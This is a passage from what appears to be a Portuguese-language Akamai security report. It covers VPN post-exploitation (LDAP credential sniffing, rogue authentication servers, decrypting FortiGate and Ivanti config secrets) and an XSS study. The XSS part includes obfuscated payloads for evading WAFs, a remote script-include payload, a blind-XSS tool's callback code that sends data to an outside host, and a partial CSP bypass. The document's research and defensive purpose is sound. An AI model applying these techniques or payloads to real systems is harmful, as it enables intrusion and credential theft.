subjacente é uma operagdo muito complexa (como vimos). Por isso, nos perguntamos
se haveria alguma outra vulnerabilidade mais acessivel. Decidimos explorar uma
abordagem diferente, uma forma "mais facil" de pds-exploragdo de VPN que usa apenas
o painel administrativo e os recursos disponiveis nativamente. Nés apelidamos essa
abordagem de "as custas da VPN".

Essa abordagem tem pelo menos duas vantagens:

1. Esse tipo de acesso pode ser mais facil de obter do que a execugdo remota de
cddigo completa. O acesso a interface de gerenciamento pode ser obtido por
meio de uma vulnerabilidade de desvio de autenticacao, credenciais fracas ou
phishing.

2. Essaabordagem pode ser mais econdmica, pois evitamos o esforgo de
desenvolver uma carga Util personalizada.

Descobrimos dois CVEs (CVE-2024-37374, CVE-2024-37375) e um conjunto de técnicas
sem corre¢ao que podem ser usadas por invasores que controlam o servidor VPN para
assumir o controle de outros ativos essenciais na rede, o que pode transformar um
comprometimento da VPN em um comprometimento total da rede.

Demonstramos nossas descobertas no FortiGate e no lvanti Connect Secure, mas
acreditamos que variagdes dessas técnicas provavelmente serdo relevantes para outros
servidores VPN e dispositivos de edge.

Explorar autenticacoes legitimas

Vocé precisa de um usuario para se autenticar na VPN. Embora seja possivel configurar
manualmente usuérios individuais por meio da interface de administragao da VPN, isso
é extremamente ineficiente em organizagdes maiores, além ser confuso gerenciar
usuarios duplicados. Em vez disso, os dispositivos VPN oferecem suporte a integragao
de autenticagdo de terceiros. Dessa forma, os usuarios podem empregar suas
credenciais normais para se autenticarem na VPN (Figura 13).

Validar credenciais

Fornecer credenciais usando o servidor de
- do usuério (= autenticagdo ae
— o* =] ° =1
Cliente [B Servidor VPN Servidor de autenticacdo

Fig. 13: uso de um servidor de autenticagdo remota para autenticar usuarios
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Uma opgao muito popular de servidor de autenticagao para VPNs é o protocolo de acesso a
diretdrio leve (LDAP), geralmente encontrado em um controlador de dominio do Active
Directory (AD). Com essa configuragao, os usuarios podem acessar a VPN por meio de
suas credenciais de dominio, o que torna essa opg¢do muito conveniente.

Quando configurado para trabalhar com um servidor LDAP para autenticagao, o préprio
dispositivo VPN precisa ter uma conta de servico com a qual se autenticar, para que possa
consultar as credenciais do usuério. Descobrimos que, quando o LDAP simples é usado (ao
contrario do LDAPS, a versdo segura do LDAP), ele se conecta por meio de associagao
simples e tanto a conta de servigo quanto as credenciais do usuario sdo transmitidas em
texto nao criptografado (Figura 14). A configuracdo LDAP simples também é padrdao em
alguns fornecedores de VPN, permitindo a facil captacdo por qualquer invasor com
recursos de detecgado de rede. Como os invasores obtém recursos de detecgdo de rede?

Ah, esse é um recurso integrado em muitos dispositivos VPN.

v Lightweight Directory Access Protocol
v LDAPMessage bindRequest(1l) "cn=Administrator,cn=users,dc=aka,dc=test" simple
messageID: 1
v protocolOp: bindRequest (@)
v bindRequest
version: 3
name: cn=Administrator,cn=users,dc=aka,dc=test
v authentication: simple (8)
simple: P@sswerd

Fig. 14: credenciais LDAP de transmissdo em texto ndo criptografado
Servidores de autenticagcdo nao autorizados

Como mencionamos, ao autenticar um usuério remoto, a VPN entrard em contato com o
servidor de autenticagao apropriado para validar as credenciais fornecidas. [dentificamos
um método que explora esse fluxo de autenticacdo para comprometer qualquer
credencial fornecida por um usuario a VPN.

Essa técnica funciona registrando um servidor de autenticagdo ndo autorizado que sera
usado pela VPN ao autenticar usuérios (Figura 15). A implementacao especifica varia de
acordo com a VPN, mas a premissa basica € que ao registrar nosso préprio servidor de
autenticagao, o dispositivo VPN entrara em contato com a credencial do usuério para
validagao, permitindo uma facil captura.

Validar credenciais

Fornecer credenciais usando o servidor de

- do usudrio _ autenticagdo n Q

_— [ (=] (=]

Cliente Servidor Servidor de
VPN autenticagéo

E Validar credenciais usando o
servidor de autenticagdo do invasor

- B3
Qe

Fig. 15: adicdo de um servidor de autenticagdo ndo autorizado para comprometer as credenciais de cliente
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L. . - , . . . . [ N N
cendrio, a autenticacdo RADIUS é conveniente por dois motivos: .. N
|
L J
r L |
1. Ascredenciais sdo enviadas para o servidor durante a solicitagado inicial sem s 7 ¥ L
primeiro verificar se o usuario existe no servidor. S .

2. Ascredenciais sao enviadas para o servidor criptografado com uma chave
determinada pelo invasor, permitindo que ele recupere as credenciais de texto
nao criptografado (Figura 16).

v RADIUS Protocol
Code: Access-Request (1)
Packet identifier: @x7a (122)
Length: 1338
Authenticator: 76l@lcdat9e416834865566aT1d99e77
[The response to this request is in frame 1251]
v Attribute Walue Pairs
AVP: t=NAS-Identifier(32) 1=13 wval=Juniper IVE
AVP: t=User-Name(l) 1=7 val=admin
v AVP: t=User-Password(2) 1=18 val=Encrypted
Type: 2
Length: 18
User-Password (encrypted): 2484244b28bBel2ledd85a7e56b371dT

Fig. 16: uma senha criptogratada em uma mensagem de autenticagdo RADIUS

Extracao de segredos do arquivo de configuragcao

Um recurso conveniente nas VPNs é a capacidade de exportar suas configuragdes,
geralmente para compartilhar entre dispositivos ou para fazer backup entre atualizagdes.

Entre as vérias configuracdes interessantes que podemos localizar nos arquivos de
configuragao, uma se destaca: segredos. As VPNs armazenam muitos segredos em sua
configuragao, incluindo senhas de usuarios locais, chaves SSH, certificados e, 0 mais
interessante, credenciais de contas de servigos de terceiros. Um invasor com acesso ao
dispositivo VPN poderia exportar a configuragao existente para obter acesso a esses
segredos.

Obviamente, ndo é tao simples assim; para protegé-los, os segredos sdo armazenados
no arquivo de configuracao de forma criptografada. A Figura 17 € um exemplo de um
segredo criptografado em um arquivo de configuracao FortiGate.

user local:
- guest:
type: password
passwd: ENC BAhcRumOucwyKL1o7WbjHgOLX3gVS1T1UIdn

Fig. 17: uma senha criptografada dentro de um arquivo de configuragédo FortiGate

Guia dos guardides da ciberseguranca de 2025 | Volume 11, edigao 01 Akamai.com | 22


https://www.akamai.com/pt

@kamai

Pode-se pensar que isso ndo pode ser recuperado; afinal de contas, na maioria das
implementagdes de bancos de dados de usuarios, as senhas sao armazenadas em forma
de hash e salt exatamente para que ndo possam ser recuperadas, caso o banco de dados
seja comprometido. No entanto, no caso de integragao com ferramentas de terceiros, a
senha deve ser recuperavel, pois precisa ser passada como texto simples para o servidor
de autenticagao.

Nossa principal descoberta tem a ver com ignorar essa criptografia e recuperar o
segredo do texto sem formatagao.

Descriptografia de segredos de um arquivo de configuragao FortiGate

A FortiGate usa AES para criptografar todos os segredos na configuragdo. Qual chave é
usada para executar essa criptografia? O pesquisador de seguranca Bart Dopheide
descobriu que uma Unica chave codificada é usada em todos os aparelhos FortiGate e
que essa chave nao pode ser alterada. A Fortinet atribuiu o CVE-2019-6693 a esse
problema e implementou uma correcao permitindo que os usuarios alterem a chave
codificada para uma personalizada.

Mesmo depois dessa corregao, o problema ainda é muito relevante hoje. A chave nao foi
alterada, portanto, por padrao, os dispositivos do FortiGate ainda usam a mesma chave.
Isso significa que, se um invasor conseguir obter um arquivo de configuragdo de uma
solugado FortiGate com a configuragdo padrao, ele podera descriptografar todos os
segredos armazenados no dispositivo.

Agora, digamos que um administrador do FortiGate tenha seguido a pratica
recomendada e usado uma chave personalizada em vez da chave padrdo. Descobrimos
que, se controlarmos a VPN, ainda poderemos obter facilmente os segredos.

Os administradores podem simplesmente desativar a configuragdo de criptografia de
dados privados, que é usada para controlar a chave de criptografia personalizada. Isso
nao requer conhecimento da chave configurada no momento e revertera a criptografia
de todos os segredos de volta para a chave codificada original.

Por que isso é critico? O FortiGate oferece suporte a integragcdes com vérios aplicativos
por meio do recurso "conector externo". Esses conectores tém varios objetivos, mas a
maioria deles compartilha um aspecto importante: eles exigem credenciais para o
aplicativo. Isto &, o FortiGate pode conter credenciais para servigos criticos, como
provedores de nuvem, SAP, Kubernetes, ESXi e muito mais.

Em alguns casos, as credenciais exigem altos privilégios para o respectivo aplicativo. Por

exemplo, a integragdo "Poll Active Directory Server" exige as credenciais de uma conta .
com acesso administrativo a um controlador de dominio, o que pode transformar uma s s
violagdo do FortiGate em um comprometimento total do dominio imediatamente.

Divulgamos essa técnica de ataque para a Fortinet, mas até o momento em que
este artigo foi escrito, eles ndao haviam corrigido esse problema e nao foi

atribuidoum CVE a ele.
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Descriptografia de segredos de um arquivo de configuragao lvanti Connect Secure

O Ivanti Connect Secure usa um algoritmo de criptografia personalizado e complexo
baseado em AES. Para analisar, isso requer mais esfor¢co de invasores mal-intencionados,
mas a criptografia é baseada em um algoritmo simétrico, portanto, ainda é reversivel.

Descobrimos que o Ivanti Connect Secure também usa uma chave codificada, e
acreditamos que ela nao foi alterada pelo menos desde 2015. Divulgamos o problema
para alvanti, e ele foi atribuido ao CVE-2024-37374.

Além disso, descobrimos e divulgamos que a Ivanti armazena credenciais de
autenticagao em servidores de gerenciamento de dispositivos méveis em sem
criptografia. A descoberta foi atribuida ao CVE-2024-37375.

Técnicas de pés-exploracao de VPN em ambientes reais

Até agora, apresentamos técnicas tedricas de ataque que encontramos em nosso
laboratério, mas ha exemplos reais disso? Acreditamos que sim.

Em seu relatério Cutting Edge, que abordou uma série de campanhas de exploragdo
contra dispositivos lvanti, os pesquisadores da Mandiant compartilharam que os
invasores conseguiram comprometer a conta de servigco LDAP configurada no
dispositivo lvanti (Figura 18).

Lateral Movement Leading to Active Directory
Compromise

UNC5330 gained initial access to the victim environment by chaining together CVE-2024-21893 and
CVE-2024-21887, a tactic outlined in Cutting Edge Part 3. Shortly after gaining access, UNC5330
leveraged an LDAP bind account configured on the compromised Ivanti Connect Secure appliance|to
abuse a vulnerable Windows Certificate Template, created a computer object, and requested a

certificate for a domain administrator. The threat actor then impersonated the domain administrator to
perform subsequent DCSyncs to extract additional credential material to move laterally.

Fig. 18: exemplo de conta LDAP comprometida (origem: Mandiant)

Embora o relatério da Mandiant nao detalhe como os invasores conseguiram fazer isso,
acreditamos que é bastante provavel que eles tenham conseguido obter as
credenciais usando um dos métodos que destacamos neste relatério, ou seja,
extraindo-as do arquivo de configuragao ou interceptando o trafego de rede.

A implementacgado desses tipos de técnicas é facil, e acreditamos que os invasores de
todos os niveis de sofisticagdo poderdo uséa-los.
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Mitigacao e deteccao

Como os dispositivos VPN tendem a ser uma caixa preta, é dificil monitora-los
adequadamente para detectar ataques e violagdes. No entanto, hd algumas coisas que
vocé pode fazer para limitar o impacto de ataques bem-sucedidos, incluindo o
monitoramento de alteragdes de configuragao, a limitagdo de permissdes de contas de
servico, o uso de identidades dedicadas para autenticacdao de VPN e o emprego do
Acesso arede com Zero Trust.

Monitoramento de altera¢gdes de configuracao

A maioria das técnicas descritas aqui resulta em algum tipo de alteragédo de configuracao.
Exportar e examinar regularmente a configuragdo da VPN é muito facil de realizar e pode
ajudar a longo prazo na detecgado de ataques do tipo “as custas da VPN”.

Limitagcdo das permissoes da conta de servigo

Como descrevemos, € simples recuperar as senhas de texto ndo criptografado de contas
de servigo armazenadas em servidores VPN. Nao hd maneira real de evitar isso, pois as
VPNs exigem o uso de senhas de texto ndo criptografado em alguns casos.

Para reduzir o impacto de um possivel comprometimento de VPN, recomendamos o uso
de contas de servigo com um conjunto limitado de permissdes, de preferéncia somente
leitura. Isso pode contradizer a documentacgao oficial, mas descobrimos que algumas
integragdes funcionam bem, mesmo com privilégios reduzidos, e a documentagao oficial
é apenas para cobrir casos extremos imprevistos.

Os administradores de rede devem tentar entender como um invasor pode aproveitar as
credenciais armazenadas na VPN e garantir que um comprometimento de VPN nao
comprometa outros ativos criticos.

Uso de identidades dedicadas para autenticagao VPN

Embora possa ser tentador usar servicos de autenticacdo existentes, como o AD, para
autenticar usuérios na VPN, recomendamos que vocé evite fazer isso. Os invasores que
tenham controle sobre a VPN poderdo obter credenciais e usa-las para se transformar em
ativos internos, transformando a VPN em um ponto Unico de falha.

Em vez disso, recomendamos que vocé use uma maneira separada e dedicada de
autenticar os usuarios na VPN. Por exemplo, execute a autenticagao baseada em
certificado usando certificados emitidos especificamente para essa finalidade.
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Zero Trust Network Access

Um dos principais problemas com VPNs tradicionais é sua abordagem de "tudo ou
nada" na concessdo de acesso a rede, isto é, os usuarios estdo "dentro" (tém acesso
completo a rede) ou "fora" (ndo podem acessar nada).

Ambas as opgdes sdo probleméaticas. Por um lado, devemos fornecer aos usuarios
acesso remoto a aplicativos internos. Por outro lado, ndo queremos que um invasor
obtenha acesso total a rede para poder comprometer um servidor VPN.

A seguranca com reconhecimento de identidade baseada no principio Zero Trust
oferece uma alternativa mais segura as VPNs tradicionais. Essa abordagem usa politicas
baseadas em identidade e dados em tempo real, incluindo a localizagdo do usuério, o
tempo e a seguranga do dispositivo, para conceder aos usuarios acesso apenas aos
aplicativos necessarios, eliminando o amplo acesso em nivel de rede. Com isso, vocé
reduz os riscos associados a manutencao e a aplicagcdo de patches em VPNs e outras
solugdes baseadas em dispositivos para acesso seguro a aplicativos. Além disso, a
definigdo de politicas de acesso a rede por entidade permite que os usuarios realizem
operacgdes remotas aprovadas, minimizando o impacto potencial de uma violagao.

Estudo de pesquisa

Cross-site scripting

Os aplicativos da Web sao criados para aceitar, processar e retornar dados fornecidos
pelo usuério. A entrada do usuério é o que permite que a Internet seja o que é hoje, mas
ela ndo é confiavel.

Cross-site scripting (XSS) pode ocorrer quando um aplicativo da Web néo faz a
distingdo entre dados confidveis e ndo confidveis. O problema é a falta de contexto. O
cbddigo que tem uma vulnerabilidade de XSS ndo tem ideia se os dados que estdo sendo
colocados no HTML vém de uma fonte confiadvel. O engenheiro que esta escrevendo o
cédigo provavelmente também nao tem. No momento em que a entrada do usuario
chega a esse ponto, ela pode ter passado por dezenas de outras partes do cédigo.
Esse cédigo também pode ter usado dados confidveis, mas, devido a uma alteragado no
upstream, agora esta processando entradas de usuério ndo confidveis.

Embora ndo haja uma maneira facil de resolver esse problema de contexto, hd maneiras

de ajudar vocé a supera-lo. Estruturas modernas podem ajudar os engenheiros a

identificar dados ndo confiaveis. Exigir que outro membro da equipe revise as .
alteragdes de cédigo é outra 6tima maneira de ajudar a adicionar contexto. No entanto, e s te.
nenhum deles pode garantir que o problema sera superado. Elas funcionardo na maioria ’
das situagdes? Provavelmente, mas ndo funcionardo em todas as situagdes. Vocé pode
estar cansado de ouvir a frase "defesa em profundidade”, mas essa abordagem é a Unica
maneira viadvel de superar esse problema de forma confiavel.
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O XSS ainda existe?

Na Gltima década e meia, houve muitos pronunciamentos de que o XSS "ndo existe
mais" e afirmacdes de que determinadas estruturas da Web s3do "seguras” contra XSS.
Os principais navegadores da Web introduziram (e ja descontinuaram) médulos para
evitar XSS. O XSS n3o existe mais e € um problema do passado? Se vocé estiver lendo
iss0, aposto que ja sabe a resposta a esta pergunta. O XSS é e continuara sendo uma das
vulnerabilidades mais comuns encontradas em aplicativos da Web.

Este estudo de pesquisa se concentra em vulnerabilidades de XSS que refletem a
entrada controlada pelo usuério diretamente no contexto do JavaScript e explora por
que um guardido deve adicionar uma defesa em profundidade por meio da codificagdo
de safda. Nosso objetivo é oferecer aos defensores as ferramentas necessérias para
proteger seus aplicativos contra esses ataques XSS.

Curso intensivo em XSS

Vulnerabilidades de XSS sdao uma classe de ataques de injecao que fazem com que
um aplicativo da Web execute JavaScript nao confiavel. Na maioria dos casos, isso
acontece no navegador da Web. Ha nuances dependendo do tipo de XSS, mas
geralmente o aplicativo da Web aceitara conteldo do usuario e o devolvera ao
navegador da Web. O navegador presumira que qualquer contetddo proveniente do
servidor da Web é confiavel. Portanto, o script tera acesso a cookies, tokens de sessdo e
todas as outras informagdes armazenadas pelo navegador para o website vulneravel.
Devido a flexibilidade de executar cédigo controlado pelo invasor no navegador da Web
da vitima, um ataque XSS bem-sucedido pode levar a uma ampla variedade de
resultados, como sequestro de sessao ou roubo de informagdes confidenciais da vitima.

Classificagao de vulnerabilidades de XSS

Ha muitas maneiras de classificar e ordenar as vulnerabilidades de XSS. A forma mais
comum de classificar as vulnerabilidades XSS é pelo tipo, incluindo refletido,
armazenado e baseado no modelo de objetos do documento (modelo de objetos do
documento, DOM). A comunidade de seguranca também comecou a adicionar os
termos "cliente" e "servidor" para especificar onde os dados ndo confidveis estdo sendo
usados. No entanto, para este relatério, separaremos o XSS em duas categorias:

1. Cargas Uteis que precisam criar contexto JavaScript

2. Cargas Uteis que ja tém contexto JavaScript devido a forma como sao refletidos
no navegador \

Cargas Uteis que precisam criar contexto JavaScript

A primeira categoria é provavelmente o que a maioria das pessoas associa a ataques
XSS cléssicos. Esses ataques geralmente envolvem o envio de HTML que invoca o
JavaScript para executar o script. Existem algumas formas de fazer isso.
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A carga util pode injetar as préprias tags de script: y ... .. K
¥ .. ..
N
q a ? ]
JavaScript O

<script>alert(1)</script>

Ou pode usar um dos muitos atributos HTML para especificar que algo deve ser
executado em JavaScript:

JavaScript
<a href="javascript:alert(1)">XSS</a>

Por fim, a carga Util pode usar manipuladores de eventos para executar o JavaScript:

JavaScript
<body onload=alert(1)>

Em geral, é bastante simples detectar e bloquear cargas Uteis como essas. Se vocé vir
uma tag de script em um HTML valido ou um HTML vélido que contenha um
manipulador de eventos, bloqueie-o.

Cargas Uteis que ja tém contexto JavaScript

Essa segunda categoria € muito mais dificil de detectar e bloquear de forma confiavel.
Refletir a entrada do usuério no JavaScript é incrivelmente perigoso, pois fornece aum
invasor a total flexibilidade do JavaScript. Isso € mais comum em aplicativos da Web que
usam JavaScript personalizado no lado do navegador. No entanto, isso ndo € um requisito
para que um aplicativo da Web seja vulneravel a XSS. Qualquer situagdo em que a
entrada do usuario seja refletida no JavaScript cria um cenario em que a carga nao
precisa chamar o préprio JavaScript. Geralmente, isso é causado pelo uso de entradas
controladas pelo usuario em uma string de JavaScript.

Por exemplo, suponha que ha um site que vende varios tipos e tamanhos de caixas. Ele
tem uma péagina de pesquisa que permite que um usuario pesquise um determinado tipo
de caixa. Quando um usuério procura uma determinada caixa, hd uma solicitagdo HTTP
para criar dinamicamente um botao "Voltar" para retornar aos resultados da pesquisa.

JavaScript
GET /shop/product/search.js?return=monitors HTTP/1.1
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A resposta HT TP resultante sera: et

JavaScript
<script type="text/javascript”>

var returnPath = encodeURIComponent("Return to all monitors");
</script>

Como vocé pode ver, a entrada do usuario por meio do argumento de retorno esta
sendo refletida dentro de uma tag de script. Assim, para explorar isso, tudo o que um
invasor precisa fazer é sair da string retornada “Return to all monitors" e injetar um novo
JavaScript. Isso pode ser feito adicionando aspas ao inicio e ao final da carga util.

JavaScript
GET /shop/product/search.js?return="-alert(1)-" HTTP/1.1

Essa carga Gtil resultaria na seguinte resposta HTTP.

JavaScript
<script type="text/javascript”>

var returnPath = encodeURIComponent("Return to all"-alert(1)-"");
</script>

Com a string original fechada, o navegador executara a funcéo de alerta e mostrara a
caixa pop-up XSS cléssica. A carga util, "alert(1)", € uma carga UGtil bem conhecida do XSS
e é facil de detectar. Os invasores sabem disso e comegarao a se movimentar para
contornar quaisquer filtros ou WAFs (firewall de aplicativos da Web). Gragas a
flexibilidade do JavaScript, essa carga util € apenas o comeco.
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Diversao com strings e variaveis JavaScript

Depois que um ponto de injegdo é identificado, a maioria dos invasores pega suas dicas
favoritas para contornar o WAF de XSS e repete as cargas Uteis. Geralmente, isso ndo da
certo. No entanto, determinados invasores comegarao a testar manualmente as cargas
Uteis em uma tentativa de contornar um WAF. Nesse caso, o primeiro movimento mais
comum é usar variaveis para quebrar e ofuscar a carga Util. Em vez de enviar “alert(1)”, a
carga Util definird uma funcao para uma variavel e, em seguida, chamara a variavel.

JavaScript
a=alert,a(1)

Como vocé pode ver, a maior parte da carga Gtil original ainda esté presente, portanto, a
deteccdo ndo é um problema. Para que essa carga seja bem-sucedida, o valor que esta
sendo definido na varidvel deve ser o nome completo da fungao. Isso impede qualquer
ofuscagdo do proprio nome da fungao.

A proxima etapa légica seria encontrar uma maneira de ofuscar o préprio nome da
funcdo. Convenientemente, o JavaScript tem algumas maneiras de avaliar
dinamicamente uma string como se fosse um cédigo JavaScript. A maneira mais
conhecida é usar a fungdo eval. Vamos tentar definir diferentes partes da string “alert”
para variaveis individuais e, em seguida, avalia-las.

JavaScript
a="al”,b="ert”,c=a+b,c(1) => doesn’t work since c is a string
a="al”,b="ert”,eval(a+b)(1) => Success!

A fungao eval € muito conhecida e pode ser detectada de forma confiavel. No entanto,
ha também vérias propriedades do objeto window que podem ser usadas para avaliar
dinamicamente as strings. A carga Util pode fazer referéncia as strings diretamente ou
podem ser transmitidas variaveis que contém as strings.

*s
L I i
JavaScript L., ‘s, %,
top[::allr+:rert:r](1) . “ “ “‘
)
window[“al”+"ert”]1(1) 3 s %

parent[“al”"+"ert”](1)

globalThis[“al”"+"ert"] (1)

a="al”,b="ert”,window[a+b] (1) => can also pass variables
k="a’',window[k+'lert’](1)
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Essas cargas Uteis sdo um pouco mais desafiadoras. A fungdo eval € bem conhecida por
ser perigosa e os desenvolvedores raramente a usardo de forma legitima. O mesmo nao
pode ser dito sobre o objeto window e suas vérias propriedades. O window em si é o que
um usuario vé no navegador. Se estiver fazendo alteragdes em uma pagina da Web,
vocé esta fazendo alteragdes no window. Portanto, para detectar essas cargas Uteis,
voceé precisa procurar a propriedade e tentar determinar o que esta sendo executado
dentro dela.

Ha varias maneiras de ofuscar ainda mais a string que esta sendo transmitida para a
propriedade. Lembre-se de que tudo o que a carga Util precisa para ser bem-sucedida é
que a string seja resolvida para o JavaScript que esta tentando ser executado.

JavaScript

top[/*foox/"alert”/*foo*/](1) => JS comments
top[8680439..toString(30)](1) => “alert” in base30@
top[/al/.source+/ert/.source](1) => /.source converts to raw string
top[ ‘ale’.concat rt ](1) => concatenation of two strings

top[ “alertb”.substring(0,5)](1); => other functions can be also be
executed

Esses sdo apenas alguns dos nimeros praticamente ilimitados de maneiras pelas quais
uma string pode ser obscurecida no JavaScript. Muitas dessas técnicas podem ser
intercambiadas ou combinadas entre si. Por exemplo, aqui estd uma carga Gtil que usa
cada uma das técnicas discutidas acima.

JavaScript
top[/a/.source+"le”.concat r /*foo*/+29..toString(30)](1)
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Atenuacao e defesa de XSS

A Unica solugdo viavel para evitar esses tipos de vulnerabilidades é usar a segurangaem
profundidade. Coisas como revisdo de cddigo ou um WAF podem ajudar a evitar a
introdugao e a exploragdo de vulnerabilidades de XSS. No entanto, uma das etapas mais
eficazes é adicionar a codificagcao de saida em todos os parametros controlados pelo
usuario. H4 muitas maneiras de fazer isso, dependendo da estrutura da Web que esta sendo
usada. Vamos explorar por que a codificagao de saidaimpede vulnerabilidades de XSS.

Para fornecer protecgao suficiente, ha certos caracteres que precisam ser codificados
para que a entrada do usuario seja segura. Quando esses caracteres sdo codificados,
elesimpedem que sejam usados para sair do contexto pretendido das entradas
refletidas. Esses caracteres e suas respectivas versdes codificadas em HTML s3o:

JavaScript
“ => &quot;
‘' => &#x27;
> &lt;
> &gt;
> &amp;

R V A
1

Quando a entrada controlada pelo usuério é refletida em um JavaScript, tudo o que um
invasor precisa fazer é sair da string existente. E é exatamente isso que a codificagédo de
saida impedira.

Para ilustrar isso, vamos dar outra olhada no exemplo anterior. Aqui esté a carga Util que
estéd sendo enviada e refletida sem codificagao de saida. Observe as aspas adicionadas
ao inicio e ao final da carga Util para encerrar a string original.

Solicitagao:

JavaScript
GET /shop/product/search.js?return="-alert(1)-" HTTP/1.1

Resposta:

JavaScript
<script type="text/javascript”>

var returnPath = encodeURIComponent("Return to all "-alert(1)-"");
</script>
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Em vez de refletir a carga Util como estj, a codificagdo de saida alteraria a entrada do
usuario antes de ser colocada no HTML retornado. Para essa carga Util, ele codificaria as
aspas em HTML. Assim, a resposta resultante seria:

JavaScript
<script type="text/javascript”>
var returnPath = encodeURIComponent(“Return to all
&quot;-alert(1)-&quot;”);
</script>

Devido a codificacado, a carga Util ndo é mais capaz de encerrar a string existente e
executar o JavaScript pretendido. Com a codificagao de saida adequada e outros
controles em vigor, os defensores podem reduzir significativamente a prevaléncia de
vulnerabilidades de XSS. A maioria das estruturas da Web tem fungdes integradas para
conseguir isso. No entanto, como tudo mais, por si s6, ndo garante a solugéo do
problema. Quando a codificagdo de saida é implementada corretamente, é muito dificil,
mas nao impossivel, contorna-la.

Felizmente, as caixas pop-up nao sao uma ameacga

A protecao de aplicativos é realmente um esforco em equipe que exige camadas de
controles de seguranca. Nessa demonstracdo, as cargas Uteis eram relativamente
inofensivas e estavam apenas criando uma caixa pop-up no navegador. Embora essas
demonstragdes sejam normalmente usadas para provar a existéncia de uma
vulnerabilidade de XSS, as caixas pop-up nao sao uma ameacga.

Para saber mais sobre como os invasores estdo usando o XSS como arma, vamos ver
um exemplo real que os pesquisadores da Akamai encontraram este ano.

Uma analise aprofundada da exploracao de XSS por meio da injecao remota de recursos

Para demonstrar adequadamente o impacto que a exploragédo de XSS pode ter, o Grupo
de inteligéncia de seguranga da Akamai realizou uma anélise profunda dos dados de
XSS que foram capturados da plataforma CSI (Cloud Security Intelligence). O objetivo
dessa andlise foi identificar as técnicas especificas empregadas durante tentativas de
exploracdo no mundo real em comparagcdo com solicitagdes simples de sondagem de
PoC (prova de conceito) para identificar vetores vulneraveis. Mais especificamente,
analisamos ataques de XSS que tentaram incorporar recursos JavaScript remotos em
paginas em vez de sondagens executadas por verificadores.
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Como observamos, a grande maioria das cargas Uteis de PoC de XSS refletidas é
essencialmente benigna e tenta chamar um dos seguintes métodos JavaScript: alert(),
prompt() ou confirm(). Esses tém sido os métodos de fato para os verificadores
provarem que uma vulnerabilidade de XSS realmente existe e que a carga Util é de fato
executada pelo mecanismo JavaScript do navegador. No entanto, essas cargas Uteis ndo
tentam explorar o usuario final.

Escopo da andlise e descobertas

Para esta pesquisa, revisamos sete dias de tentativas de injecdo de JavaScript durante o
més de dezembro de 2024. Antes de analisar o potencial comportamento mal-
intencionado, precisdvamos langar uma rede ampla para identificar quaisquer
solicitagdes que incluissem referéncias a recursos JavaScript remotos. Apds reunirmos
esses dados, pudemos nos aprofundar para identificar a intengao do cédigo JavaScript.

A grande maioria (mais de 98%) das referéncias de cédigo JavaScript remoto esté
relacionada a estruturas JavaScript legitimas, como as usadas por:

» Tecnologias de publicidade
* Experiéncia do usuario ou estruturas relacionadas a interface do usuério

* Andlise de usuério ou anélise de website

Teste cego de XSS com recompensa por bugs

Houve também um alto volume de cargas Uteis que foram usadas por cagadores de
bugs que participaram dos programas de recompensa por bugs publicos da Akamai. Ha
trés motivagdes principais para usar JavaScript de origem remota para processos de
recompensa por bugs.

1. Ovetor de injecao de XSS tem restricoes de tamanho. Os cacadores de bugs
podem identificar que um pardmetro é vulneravel a XSS, mas ha restricdes de
tamanho que limitam a capacidade de demonstrar a criticidade. Essas limitagdes
de tamanho tornam dificil a execugdo do cédigo de PoC. Nessas situagdes, 0s
cagadores de bugs podem usar uma carga Util pequena que simplesmente faz
referéncia a um arquivo JavaScript remoto que eles controlam. Na captura de tela
a seguir, os invasores estdo tentando incluir o URL http://NJ.Rs.

JavaScript
/file.php?param=<script/src=//NJ.Rs></script>
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2. Automacoes cegas. Se os cagadores de bugs puderem hospedar servicos XSS
remotos, esse método podera ser usado como parte dos cendrios de teste de
automagao nos quais uma carga Util de XSS é realmente executada. Com o
teste normal e manual de XSS refletido, o cagador de bugs precisa confirmar se
uma carga Util é executada no navegador da Web, o que é mais dificil de
dimensionar. Por outro lado, com testes de XSS cegos, os cagcadores de bugs
simplesmente injetam seu codigo JavaScript de origem remota em todos os
pardmetros de destino e, em seguida, monitoram seu servigo de XSS remoto
para ver se alguma chamada é feita para ele. Eles podem entao rastrear
facilmente para ver qual local e parametro foi explorado. Um cabecalho de
exemplo de um arquivo PoC de XSS muito grande e complexo usado por
cagadores de recompensas de bugs é exibido abaixo.

JavaScript
/%%,
(\____/) __ __  exXss4.2  _
(_oo_) \ O\ [ /- _ _ __ - __ (2)- - This is an automated tool for penetration testers and bug bounty hunters
(0) N\ \N/\N /7 | ‘] ‘2 Nl | ‘2 N/ -7 | to test applications for (cross-site-scripting) weaknesses.
SO [ DU VO G I I O

[1/______ N[TZ NZ/NZ7 NyZl2l—) I=] I=l=l=1 | \——, | If you believe this tool has been tested or abused on your application

I\ ____ I\/ %41 warnung! avertissement! | ___/ without your permission, please contact us at abuse@ezxss.com.
/ /__\ warning! jadvertencia! cpig!

(\ /____\ aviso! [lpegynpexpgeHue! peringatan! STRICTLY PROHIBITED FOR ANY ILLEGAL ACTIVITY | More info: https://ezxss.
com

*/
function ez_n(e){return void 0 !==e?e:'’}
function ez_cb(t,e){var n=new
XMLHttpRequest;n.open(“POST”, (“https:”!==window.parent.location.protocol?”http:”:"https:"”)+"//cOff33b34n.ez.pe/

callback”, !0),n.setRequestHeader(“Content-type”, “text/plain”),n.timeout=6e4,n.onreadystatechange=function(){4===n.
readyState&&200===n.status&&null!==e&&e(n.responseText)},n.send(JSON.stringify(t))}
--CUT--

Os servicos de XSS cegos incluem:
* Hospedagem prépria gratuita
o https://github.com/mandatoryprogrammer/xsshunter-express
o https://github.com/projectdiscovery/interactsh
o https://github.com/mazen160/xless
o https://github.com/ssl/ezXSS
* Hospedagem de terceiros gratuita
o https://blindf.com/
o https://ez.pe/manage/account/signup

o https://xss.bughunter.app/dashboard/payload

o https://xss.report/
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3. Desvios da politica de seguranca de contetido. Quando os cacadores de bugs
se deparam com um cenario em que um site-alvo tem uma vulnerabilidade de
XSS, mas ha uma CSP (politica de seguranga de conteldo) que esté atenuando
a exploragdo, pode haver pontos fracos da CSP que podem ser explorados. Por
exemplo, considere este cabecalho de resposta da CSP:

JavaScript
Content-Security-Policy: script-src ‘self’ ajax.googleapis.com;
object-src ‘none’ ;report-uri /Report-parsing-url;

Esta politica permite listar dominios para carregamento de script no JS Angular e pode
serignorada com a seguinte carga Util que chama fungdes de retorno de chamada e usa
determinadas classes vulneraveis:

JavaScript

param=1234""'><script
src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.
min.js></script><div ng-app ng-csp><textarea autofocus
